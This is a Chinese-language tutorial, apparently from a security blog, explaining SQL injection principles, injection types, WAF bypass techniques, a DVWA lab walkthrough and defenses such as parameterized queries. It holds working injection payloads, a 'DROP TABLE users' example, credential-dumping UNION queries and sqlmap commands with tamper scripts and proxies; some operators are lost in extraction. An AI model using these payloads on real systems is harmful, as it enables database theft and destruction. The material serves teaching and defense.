1. 项目概述为什么SQL注入依然是Web安全的“头号公敌”干了这么多年安全要说Web漏洞里哪个最“经典”、最“顽固”SQL注入绝对排第一。别看现在各种框架、ORM工具满天飞好像把开发者从手写SQL里解放出来了但你去看看每年的OWASP Top 10榜单SQL注入相关的风险比如注入类漏洞几乎从未缺席。很多刚入行的朋友可能会觉得这都202X年了SQL注入不是早就被防住了吗其实不然它就像打不死的小强换个马甲、变个形式依然活跃在大量老旧系统、定制化开发甚至是一些开发人员安全意识薄弱的场景里。简单来说SQL注入就是攻击者通过在Web应用的可控输入点比如登录框、搜索框、URL参数中插入恶意的SQL代码片段。当这些输入被后端程序不加处理地拼接到数据库查询语句中并执行时攻击者就能“为所欲为”轻则绕过登录验证、窃取其他用户数据重则直接读取、篡改甚至删除整个数据库。我见过最离谱的案例一个简单的搜索功能漏洞让攻击者把公司用户表里几百万条带手机号和住址的记录全拖走了。所以理解SQL注入的原理、类型和复现方法不仅是安全工程师的必修课也是每一位Web开发人员必须掌握的基本功。这期内容我们就从根儿上把它掰开揉碎了讲清楚让你不仅能看懂还能自己动手在安全的环境里复现出来真正理解攻击者的思路和防御的关键。2. 核心原理拆解一句用户输入是如何“黑掉”数据库的要防住SQL注入你得先明白它是怎么发生的。很多教程一上来就讲‘ or ‘1’‘1但没讲清楚背后的逻辑链条导致很多人只知其然不知其所以然。我们从一个最经典的场景——用户登录——开始捋。2.1 从一段“脆弱”的代码讲起假设我们有一个非常原始的登录验证逻辑用PHP和MySQL写的大概长这样$username $_POST[‘username’]; $password $_POST[‘password’]; $sql “SELECT * FROM users WHERE username‘“ . $username . “‘ AND password‘“ . $password . “‘“; $result mysqli_query($conn, $sql); if (mysqli_num_rows($result) 0) { // 登录成功 }这段代码的逻辑很直接把用户输入的用户名和密码直接拼接进SQL语句里然后去数据库查询。如果查询有结果就说明用户名密码匹配允许登录。现在如果用户在用户名输入框里填的不是“admin”而是admin‘ --注意最后有个空格会发生什么拼接后的SQL语句就变成了SELECT * FROM users WHERE username‘admin‘ -- ‘ AND password‘任意密码‘在SQL中--是单行注释符它会把后面所有的内容都注释掉。于是这条语句的实际执行部分就变成了SELECT * FROM users WHERE username‘admin‘它完全忽略了密码验证只要数据库里存在用户名为“admin”的记录无论密码输入什么这条查询都会返回结果导致攻击者成功绕过登录验证。这就是最基础的“永真条件”绕过。注意这里用的是--两个短横线加一个空格在MySQL中这是标准的注释语法。有些数据库如Oracle也用--。而#在MySQL中也是注释符。在实际测试中需要根据后端数据库类型尝试不同的注释符。2.2 漏洞产生的根本原因数据与代码的混淆上面这个例子暴露了SQL注入最核心的问题程序将用户输入的“数据”错误地当成了SQL“代码”的一部分来执行。在安全的编程范式中代码要执行的逻辑和数据被处理的信息应该是严格分离的。SQL语句的骨架如SELECT * FROM users WHERE username? AND password?是代码而用户输入的“admin”和“123456”应该是纯粹的数据。但上述的字符串拼接方式打破了这种隔离。当用户输入中包含SQL元字符如单引号‘、注释符--、分号;时这些字符会改变原有SQL语句的语法结构使得数据库引擎无法区分哪些是开发者意图的指令哪些是恶意插入的指令。你可以把它想象成盖房子。SQL语句是设计好的建筑图纸代码用户输入应该是砖块、水泥数据。安全的做法是把砖块严丝合缝地放进图纸指定的位置。而SQL注入就像是攻击者递过来一块形状特殊的“砖”包含‘ --这块砖一旦被不加分辨地砌进墙里就会改变整面墙甚至整个房子的结构注释掉了后面的密码验证最终导致房子系统出现非设计预期的入口。2.3 关键元字符与数据库特性利用攻击者依赖一些特殊的字符来“欺骗”SQL解析器单引号‘用于闭合字符串。这是最常用的突破口用于提前结束原字符串注入后续代码。注释符如--、#、/* */。用于注释掉原SQL语句中剩余的部分使注入的代码能顺利执行。分号;用于分隔多条SQL语句。在支持多语句执行的数据库配置下可以用于执行额外的恶意命令如DROP TABLE users;。UNION用于合并两个SELECT查询的结果。这是信息窃取的关键通过UNION可以将攻击者想要的数据如数据库版本、所有表名合并到正常查询结果中返回。条件语句如OR ‘1’‘1‘。用于构造永真条件使WHERE子句始终成立。不同的数据库MySQL、Oracle、SQL Server、PostgreSQL在语法、内置函数、系统表名上都有差异。有经验的攻击者会先进行“指纹识别”判断数据库类型再使用针对性的Payload。比如获取数据库版本在MySQL中是version或version()在Oracle中是SELECT banner FROM v$version。3. SQL注入的主要攻击类型与手法演进理解了基本原理我们来看看SQL注入有哪些“花活”。根据利用方式、输入位置和数据库响应可以分成好几类。不同类型的注入探测和利用手法也不同。3.1 基于反馈类型的分类有回显 vs 无回显这是最直观的分类决定了攻击者获取信息的方式。1. 联合查询注入这是最“舒服”的情况。应用会直接将数据库查询结果或错误信息显示在页面上。攻击者可以利用UNION SELECT将想要的数据“拼接”到正常结果里一起返回。利用步骤通常固定确定列数使用ORDER BY n或UNION SELECT NULL, NULL...不断试探直到页面正常回显确定主查询的字段数量。确定回显位将UNION SELECT后的部分替换成如1,2,3...或‘a‘,‘b‘,‘c‘查看页面哪个位置显示了这些数字或字母这些位置就是可以用于回显数据的位置。获取信息在回显位替换上想要查询的信息如version数据库版本、database()当前数据库名、SELECT table_name FROM information_schema.tables WHERE table_schemadatabase()当前数据库的所有表名。2. 报错注入当应用开启了数据库错误回显将SQL错误信息打印到前端时即使页面没有正常的数据展示位攻击者也能利用。其原理是故意构造会让数据库报错的语句并将想查询的信息通过错误信息带出来。 常用的MySQL报错函数有updatexml()updatexml(1, concat(0x7e, (SELECT version()), 0x7e), 1)。第二个参数需要是XPath格式我们插入非法格式如以~开头使其报错并将查询结果包含在错误信息中。extractvalue()extractvalue(1, concat(0x7e, (SELECT user()), 0x7e))。原理同上。floor()rand()group by通过主键重复报错语句更复杂但通用性强。 报错注入的Payload通常较长但能实现与联合查询类似的信息获取效果。3. 布尔盲注页面既没有数据回显也没有错误信息。但是根据输入的Payload不同页面的正常状态会发生变化比如登录成功/失败、搜索有结果/无结果、页面某处文字存在/不存在。 攻击者通过构造真/假条件观察页面反应像“猜”一样一位一位地获取数据。例如and length(database())5如果页面正常说明数据库名长度大于5。and substr(database(),1,1)‘a‘不断变换字符和位置通过页面真假反应来推断数据库名的每一个字符。 这个过程极其繁琐必须借助自动化工具如Sqlmap或编写脚本。4. 时间盲注这是最隐蔽的一种。无论输入什么页面本身的显示内容都没有任何变化。攻击者通过构造条件让数据库执行时间延迟通过观察页面响应时间的差异来判断条件真假。MySQLand sleep(5)如果页面响应延迟了5秒说明and前的条件为真。and if(ascii(substr(database(),1,1))100, sleep(5), 0)通过响应时间来判断字符的ASCII码大小。 时间盲注速度最慢对网络稳定性要求高但能绕过很多简单的防御措施。3.2 基于注入位置的分类不只是输入框1. GET/POST参数注入最常见出现在URL参数?id1、表单提交登录、搜索中。2. Cookie注入应用程序将Cookie值如用户ID、Session标识未经处理直接用于数据库查询。由于Cookie通常由客户端控制可通过浏览器插件修改这也成为一个注入点。3. HTTP头部注入User-Agent、X-Forwarded-For、Referer等HTTP头部信息如果被记录到数据库时未过滤也可能成为注入点。例如在User-Agent中插入注入代码。4. 二次注入这是一种更狡猾、更危险的类型。攻击过程分为两步攻击者将恶意数据包含SQL元字符通过正常输入如注册用户名存入数据库。此时数据可能被转义处理安全入库。之后当应用程序从数据库取出这份“安全”存储的数据并未经再次转义就用于另一个SQL查询时注入发生。 因为恶意代码是“存储”在数据库里的它绕过了第一次插入时的防御在第二次使用时才生效非常难以通过常规的流量审计发现。3.3 绕过技巧与WAF的攻防博弈随着Web应用防火墙WAF的普及攻击者也在不断进化Payload以绕过检测。1. 大小写/关键字拆分绕过简单的WAF可能只检测全小写的union select。绕过UnIoN SeLeCtUNIunionON SELselectECT中间被WAF剥离后剩下UNION SELECT。2. 编码与双重编码绕过对Payload进行URL编码、十六进制编码、Unicode编码等。例如单引号‘可以用%27URL编码、0x27十六进制、%u0027Unicode表示。有时服务端会解码一次如果WAF只检查解码前的内容就可能被绕过。3. 注释符内联绕过在关键字中插入注释某些数据库如MySQL会忽略/**/中的内容。例如U/**/NION SE/**/LECT。4. 等价函数/语句替换不用version()用version。不用and 11用and like ‘%‘、and between 1 and 2。5. 参数污染提交多个同名参数如?id1id2‘ and ‘1‘‘1。不同的Web服务器/应用框架处理多个同名参数的逻辑可能不同可能导致WAF检测的参数与实际后端处理的参数不一致。实操心得在实际渗透测试中我经常先用非常简单的Payload如一个单引号‘进行试探观察报错信息。这不仅能确认漏洞存在还能获取数据库类型、部分SQL语句结构等宝贵信息。不要一上来就用复杂的联合查询Payload那样容易被WAF拦截且效率低下。4. 手把手实战复现从环境搭建到漏洞利用光说不练假把式。我们用一个经典的靶场环境来完整走一遍SQL注入的发现、利用和拖库过程。这里我选择DVWA (Damn Vulnerable Web Application)因为它设置简单漏洞场景典型且安全等级可调非常适合学习。4.1 靶场环境搭建与配置准备环境最简单的方式是使用PHPStudy或XAMPP这类集成环境包。以PHPStudy为例安装后启动Apache和MySQL服务。下载DVWA从GitHub官方仓库下载最新版DVWA解压到PHPStudy的WWW根目录下例如D:\phpstudy_pro\WWW\dvwa。配置文件复制dvwa/config/config.inc.php.dist文件重命名为config.inc.php。用文本编辑器打开找到数据库配置部分根据你的PHPStudy设置进行调整通常只需要确认以下两项即可密码默认为root$_DVWA[ ‘db_server‘ ] ‘127.0.0.1‘; $_DVWA[ ‘db_database‘ ] ‘dvwa‘; $_DVWA[ ‘db_user‘ ] ‘root‘; $_DVWA[ ‘db_password‘ ] ‘root‘; // 修改为你的MySQL密码访问与初始化浏览器打开http://localhost/dvwa/setup.php。点击页面底部的“Create / Reset Database”按钮。这会自动创建dvwa数据库和所需数据表。登录使用默认账号admin密码password登录。设置漏洞难度在DVWA左侧菜单栏找到“DVWA Security”将安全级别设置为“Low”。这会让所有漏洞的防御措施降到最低方便我们练习。4.2 漏洞挖掘与信息收集进入“SQL Injection”模块。页面提供了一个用户ID查询框。第一步确认注入点在输入框输入1点击Submit。页面返回了用户ID为1的用户信息ID First name Surname。这看起来是一个根据ID查询用户的功能。尝试输入1‘数字1加一个单引号。点击提交后页面返回了一个MySQL错误信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘‘‘ at line 1太好了这个错误明确告诉我们单引号被带入SQL语句并导致了语法错误此处存在SQL注入漏洞。错误信息还隐约透露了原SQL语句的结构可能类似于SELECT ... FROM ... WHERE id ‘$id‘。第二步判断字段数为UNION注入做准备使用ORDER BY子句。ORDER BY n表示根据第n列排序如果n超过实际列数就会报错。我们用它来探测。输入1‘ order by 1 -- 页面正常说明至少有1列。输入1‘ order by 2 -- 页面正常。输入1‘ order by 3 -- 页面正常。输入1‘ order by 4 -- 页面报错或返回空。 由此判断当前查询结果共有3列。第三步确定回显点现在使用UNION SELECT我们需要让前后两个SELECT的列数一致都是3列。 输入1‘ union select 1,2,3 --页面正常显示并且我们在原本显示“First name”和“Surname”的位置看到了数字“2”和“3”。这说明第2列和第3列是回显点我们可以将想要查询的数据放在这两个位置。4.3 利用漏洞获取敏感信息现在我们可以把2和3替换成我们想要查询的数据库函数或语句。获取当前数据库名和用户 输入1‘ union select 1, database(), user() --在回显位置我们得到了数据库名dvwa和当前数据库连接用户rootlocalhost。知道用户是root这意味着我们可能拥有极高的数据库权限。获取数据库中的所有表名 MySQL中information_schema.tables表存储了所有表的信息。 输入1‘ union select 1,table_name,3 from information_schema.tables where table_schema‘dvwa‘ --这里我们只看到了一个表名因为UNION只合并一行。为了看到所有表我们可以用group_concat()函数把多行结果合并成一个字符串。 输入1‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema‘dvwa‘ --回显点2会显示类似guestbook,users的结果。我们看到有两个表其中users表极有可能存放着用户凭证。获取users表的所有列名 类似地从information_schema.columns表中查询。 输入1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema‘dvwa‘ and table_name‘users‘ --回显结果可能类似user_id,first_name,last_name,user,password,avatar,last_login,failed_login。我们重点关注user和password字段。拖取最终数据——用户名和密码 输入1‘ union select 1,group_concat(user, ‘:‘, password),3 from dvwa.users --大功告成回显点2会显示所有用户名和密码哈希值的拼接格式如admin:5f4dcc3b5aa765d61d8327deb882cf99, gordonb:e99a18c428cb38d5f260853678922e03, ...这里5f4dcc3b5aa765d61d8327deb882cf99就是明文密码password的MD5哈希值。攻击者拿到这个哈希值可以通过彩虹表碰撞或在线解密网站轻易得到明文尤其是弱密码。注意事项在实际的、安全级别不是“Low”的环境中information_schema库的访问可能被限制或者UNION、SELECT等关键字可能被过滤。这就需要用到我们前面提到的报错注入、盲注或各种绕过技巧。DVWA的中级Medium和高级High难度就模拟了这些情况强烈建议逐一尝试。5. 自动化工具辅助与深度利用手工注入虽然能帮助深刻理解原理但效率太低尤其是在盲注场景下。在实际安全测试中Sqlmap是必不可少的自动化神器。它不仅能检测注入点还能自动识别数据库类型、枚举数据甚至直接获取操作系统Shell。5.1 Sqlmap基础使用实战假设我们已经通过手工测试确认了DVWA Low难度下SQL注入的URLhttp://localhost/dvwa/vulnerabilities/sqli/?id1SubmitSubmit并且我们已经登录拥有有效的Cookie。基本检测sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id1SubmitSubmit“ --cookie“securitylow; PHPSESSID你的sessionid“-u指定目标URL。--cookie提供已认证的Cookie因为DVWA需要登录后才能访问漏洞页面。Cookie值可以从浏览器开发者工具F12的“网络”或“应用”标签页中复制。 Sqlmap会自动尝试各种参数和注入技术进行测试。枚举当前数据库sqlmap -u “目标URL“ --cookie“Cookie值“ --current-db执行后Sqlmap会直接告诉你当前数据库是dvwa。枚举数据库中的所有表sqlmap -u “目标URL“ --cookie“Cookie值“ -D dvwa --tables结果会列出dvwa库中的所有表。枚举指定表的所有列sqlmap -u “目标URL“ --cookie“Cookie值“ -D dvwa -T users --columns这会列出users表的所有字段名和类型。拖取数据sqlmap -u “目标URL“ --cookie“Cookie值“ -D dvwa -T users -C user,password --dump--dump会直接将user和password列的数据提取并保存到本地。Sqlmap还会贴心地询问你是否要尝试破解哈希值。5.2 Sqlmap高级参数与绕过面对有WAF或简单过滤的场景Sqlmap也提供了丰富的绕过选项。延时与随机代理--delay 1每次请求延迟1秒和--proxyhttp://代理IP:端口避免触发频率限制或被封IP。Tamper脚本这是Sqlmap最强大的功能之一。Tamper脚本可以对Payload进行编码、混淆等操作以绕过WAF。sqlmap -u “目标URL“ --cookie“Cookie值“ --tamperspace2comment上面这个例子使用了space2comment脚本将空格替换为注释符/**/。常用的Tamper脚本还有between用BETWEEN替换比较符。charencode对Payload进行URL编码。randomcase随机大小写。可以同时使用多个--tamper“space2comment,between,charencode“指定注入技术如果知道是时间盲注可以指定技术提高效率。sqlmap -u “目标URL“ --cookie“Cookie值“ --techniqueT--technique参数可选B布尔盲注、E报错注入、U联合查询、S堆叠查询、T时间盲注。实操心得不要过度依赖自动化工具。我建议的流程是先手工简单测试如加单引号确认漏洞存在和基本类型再用Sqlmap进行深度利用和验证。直接上Sqlmap狂扫不仅容易被WAF拦截也失去了学习漏洞细节的机会。另外使用Sqlmap一定要在合法授权的环境下进行切勿对未授权的目标进行测试。6. 从攻击者视角看防御如何真正堵上漏洞了解了攻击防御的思路就清晰了。核心原则就一条永远不要信任用户输入严格分离代码与数据。6.1 根本大法使用参数化查询预编译语句这是防治SQL注入最有效、最根本的方法。它的原理是将SQL语句的结构代码和数据提前分开定义。传统拼接“SELECT * FROM users WHERE id ‘“ userInput “‘“参数化查询“SELECT * FROM users WHERE id ?“然后将userInput作为一个纯数据参数绑定到?这个占位符上。数据库引擎会先编译带占位符的SQL语句模板确定执行计划。之后无论传入的参数是什么即使它包含‘ OR ‘1‘‘1也只会被当作一个普通的字符串数据来处理而不会被重新解析为SQL语法的一部分。PHP (PDO) 示例$stmt $pdo-prepare(“SELECT * FROM users WHERE username :username AND password :password“); $stmt-execute([‘username‘ $username, ‘password‘ $password]);Java (PreparedStatement) 示例String sql “SELECT * FROM users WHERE username ? AND password ?“; PreparedStatement pstmt connection.prepareStatement(sql); pstmt.setString(1, username); pstmt.setString(2, password); ResultSet rs pstmt.executeQuery();6.2 辅助措施输入验证与输出转义参数化查询是首选但在一些复杂场景如动态表名、列名无法参数化或旧系统改造中可能需要辅助手段。白名单输入验证对于已知有限集合的输入如订单状态、类型严格限定其值。例如$type只能是‘book‘或‘movie‘否则拒绝。$allowed_types [‘book‘, ‘movie‘]; if (!in_array($type, $allowed_types)) { die(‘Invalid type.‘); }转义函数如果万不得已必须拼接要对所有用户输入进行转义。但要注意转义函数是与数据库相关的。MySQLi:mysqli_real_escape_string($conn, $input)PHP (旧):mysql_real_escape_string($input)(已废弃) 转义函数会在特殊字符如单引号前加上反斜杠\使其失去语法意义变成普通字符。但这种方法并非绝对安全如果数据库字符集设置不当如GBK可能存在宽字节注入等绕过方式。重要警告不要使用addslashes()等通用转义函数来防御SQL注入它们不了解数据库上下文很容易被绕过。参数化查询是唯一推荐的首选方案。6.3 纵深防御与安全配置最小权限原则给Web应用使用的数据库账户分配最小必要的权限。通常只授予SELECT、INSERT、UPDATE、DELETE权限绝不授予DROP、CREATE、FILE、GRANT等管理权限。这样即使发生注入损失也有限。错误信息处理生产环境务必关闭详细的数据库错误回显。使用自定义的错误页面避免将数据库结构、表名、SQL语句片段泄露给攻击者。这在DVWA的“Medium”和“High”难度中有所体现。Web应用防火墙部署WAF可以在网络层面拦截大量已知的、特征明显的SQL注入攻击。但它只是一种缓解措施不能替代安全的代码。定期安全审计与代码扫描使用静态应用安全测试SAST工具扫描源代码使用动态应用安全测试DAST工具扫描运行中的应用及时发现潜在的注入点。7. 常见问题与排查技巧实录在实际开发和测试中总会遇到一些典型问题。这里记录几个我踩过的坑和解决方法。问题1明明存在漏洞Sqlmap却检测不出来可能原因1Cookie或Session失效。Sqlmap检测需要维持会话。确保--cookie参数正确或者使用--cookie“PHPSESSIDxxx“ --flush-session先清除旧会话再测试。对于更复杂的认证如Token、JWT可能需要使用--headers参数手动添加。可能原因2注入点是POST请求但只用了-u参数。对于POST请求需要用--data参数指定POST数据如--data“id1submitgo“。可能原因3存在复杂的JavaScript验证或动态Token。需要先用浏览器正常操作一遍用Burp Suite等代理工具抓取完整的、成功的请求包保存为文件如req.txt然后让Sqlmap直接加载这个文件进行分析sqlmap -r req.txt。可能原因4WAF拦截过于严格。尝试降低检测级别--level和风险等级--risk增加延时--delay并使用合适的Tamper脚本--tamper。问题2参数化查询在处理“IN”子句时很麻烦怎么办这是一个经典难题。SQL语句SELECT * FROM products WHERE id IN (?, ?, ?)中的占位符数量必须是固定的但用户传入的ID列表长度可变。解决方案在代码中动态构造占位符。伪代码如下$ids explode(‘,‘, $_GET[‘ids‘]); // 用户输入 “1,2,3“ $placeholders implode(‘,‘, array_fill(0, count($ids), ‘?‘)); // 生成 “?,?,?“ $sql “SELECT * FROM products WHERE id IN (“ . $placeholders . “)“; $stmt $pdo-prepare($sql); $stmt-execute($ids); // 将数组作为参数传入这样既保持了参数化查询的安全性又解决了参数数量不定的问题。问题3ORM框架如Hibernate, MyBatis, Eloquent是否就免疫SQL注入了不是ORM框架如果使用不当同样会产生注入。安全用法MyBatis使用#{}语法它会被编译为参数化查询。select id“getUser“ parameterType“String“ resultType“User“ SELECT * FROM users WHERE name #{name} /select危险用法MyBatis使用${}进行字符串拼接这等同于直接拼接SQL。select id“getUser“ parameterType“String“ resultType“User“ SELECT * FROM users ORDER BY ${columnName} /select如果columnName来自用户输入攻击者可以传入name; DROP TABLE users --导致灾难。对于动态列名、表名应在代码层做严格的白名单校验而不是直接拼接。问题4在测试中如何快速判断一个注入点是数字型还是字符型这是一个基础但重要的判断决定了Payload的构造方式字符型需要闭合引号。数字型参数直接被用于数字比较如WHERE id $input。测试输入 1 and 11和输入 1 and 12。如果前者正常后者异常很可能是数字型。字符型参数被引号包裹如WHERE name ‘$input‘。测试输入 1‘ and ‘1‘‘1和输入 1‘ and ‘1‘‘2。注意闭合前后的引号。如果前者正常后者异常则是字符型。 在DVWA的示例中输入1‘ and ‘1‘‘1返回正常1‘ and ‘1‘‘2无结果就确认了是字符型注入并且是用单引号包裹的。理解SQL注入的原理和实战是构建Web应用安全防线的第一步。它看似古老却因开发中的疏忽而历久弥新。最好的防御始于编码时对用户输入保持的那份“不信任”以及坚持使用参数化查询这一把安全的锁。在后续的实践中不妨将DVWA的安全级别调到Medium甚至High去挑战那些加了基础过滤的关卡那时你会对绕过技巧和防御思路有更深切的体会。